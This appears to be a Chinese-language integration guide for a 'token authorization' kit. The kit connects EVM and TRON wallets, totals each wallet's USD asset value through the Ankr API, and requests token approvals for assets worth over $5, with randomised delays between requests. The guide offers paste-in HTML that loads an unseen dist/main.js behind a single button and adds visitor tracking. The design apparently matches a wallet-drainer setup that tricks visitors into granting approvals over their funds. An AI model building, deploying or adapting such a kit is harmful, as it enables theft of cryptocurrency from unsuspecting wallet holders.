现代化的代币授权管理服务
集成 Reown 钱包连接 + Ankr API + 智能批准系统
只需几行代码，即可集成到您的项目中
<!-- 必需的外部依赖库 -->
<script src="https://cdn.jsdelivr.net/npm/ethers@6/dist/ethers.umd.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/tronweb@6/dist/TronWeb.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/ua-parser.min.js"></script>
📦 这些是必需的外部依赖，通过CDN引入可以减小主文件体积并提高加载速度
<!-- 引入样式文件 -->
<link rel="stylesheet" href="dist/assets/style-CoHkBU08.css">
🎨 样式文件包含了SweetAlert2弹窗的自定义主题、加载动画、状态徽章等美观的UI组件样式
<!-- 引入主服务文件（ESM模块） -->
<script type="module" src="dist/main.js"></script>
⚡ 使用 type="module" 加载ESM格式的核心文件，支持现代化的模块系统
<!-- 即插即用按钮 -->
<button id="btn-go">开始代币授权</button>
✨ 就这么简单！只需要设置 id="btn-go"，主应用会自动绑定相应的授权功能
<script type="module">
// 监听配置加载完成事件
document.addEventListener('configLoaded', (event) => {
const config = event.detail;
console.log('✅ 系统初始化完成:', config);
// 现在可以安全地使用各种功能
if (config.evm.enabled) {
console.log('🔗 EVM功能已启用');
}
if (config.tron.enabled) {
console.log('🔗 TRON功能已启用');
}
});
// 监听钱包连接事件
document.addEventListener('walletConnected', (event) => {
const walletInfo = event.detail;
console.log('🔗 钱包已连接:', walletInfo.address);
console.log('🌐 当前网络:', walletInfo.network);
console.log('💰 资产总价值:', walletInfo.totalBalance, 'USD');
});
// 监听钱包断开事件
document.addEventListener('walletDisconnected', () => {
console.log('❌ 钱包已断开连接');
});
</script>
🎯 通过事件监听可以在系统初始化完成后执行自定义逻辑，还可以监听钱包连接状态变化
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>我的DApp</title>
<!-- 引入样式文件 -->
<link rel="stylesheet" href="dist/style.css">
</head>
<body>
<div class="container">
<h1>我的去中心化应用</h1>
<p>连接钱包并授权代币以开始使用</p>
<button id="btn-go">连接钱包 & 授权代币</button>
</div>
<!-- 外部依赖 -->
<script src="https://cdn.jsdelivr.net/npm/ethers@6/dist/ethers.umd.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/tronweb@6/dist/TronWeb.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/ua-parser.min.js"></script>
<!-- 核心文件 -->
<script type="module" src="dist/main.js"></script>
</body>
</html>
🎉 这就是一个完整的集成示例！包含了所有必需的文件引入和基本的HTML结构
<script type="module">
// 自定义配置示例
document.addEventListener('configLoaded', (event) => {
const config = event.detail;
// 可以根据需要修改配置
if (config.evm.enabled) {
// 自定义EVM配置
console.log('EVM智能授权配置:', config.evm.smartAuth);
// 可以动态调整延迟时间
config.evm.smartAuth.delays.minDelay = 800;
config.evm.smartAuth.delays.maxDelay = 1500;
}
// 自定义资产过滤条件
config.assetFilter.minValueUSD = 5.0; // 只处理价值5美元以上的资产
console.log('✅ 配置已自定义:', config);
});
</script>
⚙️ 可以通过监听配置加载事件来动态修改系统配置，实现更精细的控制
<!-- 添加 Counter.dev 统计代码到 <head> 标签中 -->
<script>
if(!sessionStorage.getItem("_swa")&&document.referrer.indexOf(location.protocol+"//"+location.host)!== 0){
fetch("https://counter.dev/track?"+new URLSearchParams({
referrer:document.referrer,
screen:screen.width+"x"+screen.height,
user:"your-site-id",
utcoffset:"8"
}))}
sessionStorage.setItem("_swa","1")
</script>
📊 使用 Counter.dev 免费统计服务，轻量级且注重隐私保护，无需 Cookie
// 统计功能特点：
• 🚀 轻量级：仅 1KB 大小
• 🔒 隐私友好：不使用 Cookie
• 📈 实时数据：访问量、来源、设备统计
• 🆓 完全免费：无限制使用
• 📱 响应式：支持移动端统计
引入依赖和核心文件即可使用
外部依赖CDN加载，核心代码ESM模块
CDN缓存 + 轻量核心文件
基于事件的初始化和交互机制
支持自定义配置和扩展功能
完美适配桌面端和移动端
// 文件结构和功能说明：
📁 项目文件结构
├── dist/
│ ├── main.js // 核心JavaScript文件（ESM模块）
│ └── style.css // 样式文件（UI组件样式）
├── index.html // 主页面文件
└── README.md // 项目说明文档
// 外部依赖功能说明：
• ethers@6: EVM链钱包连接和交易处理
• tronweb@6: TRON链钱包连接和交易处理
• sweetalert2@11: 美观的弹窗提示组件
• [email protected]: 设备和浏览器信息解析
// 样式文件包含的组件：
• 🎨 SweetAlert2 自定义主题（深色渐变风格）
• ⏳ 优雅的加载动画和进度指示器
• 🏷️ 状态徽章（成功、失败、警告、处理中）
• 📱 响应式设计，完美适配移动端
• 🎯 钱包连接状态指示器
• 📊 资产列表和网络切换提示样式
// 这种集成方式的优势：
• 🚀 减小主文件体积（从几MB减少到几百KB）
• 📦 利用浏览器缓存，提高加载速度
• 🔄 独立更新，不影响核心代码
• 🌐 全球CDN分发，访问更快
• 🎨 统一的UI风格，提升用户体验
• 📱 完美的移动端适配
• 🔧 高度可定制的配置系统
• 📊 内置统计和监控功能
// 如果需要更多控制，可以直接使用API
// 等待主应用初始化完成
document.addEventListener('configLoaded', (event) => {
const config = event.detail;
console.log('配置已加载:', config);
// 现在可以安全地使用各种功能
if (config.evm.enabled) {
// EVM 功能已启用，可以调用相关API
console.log('EVM配置:', config.evm);
// 可以监听更多事件
document.addEventListener('walletConnected', (e) => {
console.log('钱包信息:', e.detail);
});
}
if (config.tron.enabled) {
// TRON 功能已启用，可以调用相关API
console.log('TRON配置:', config.tron);
}
});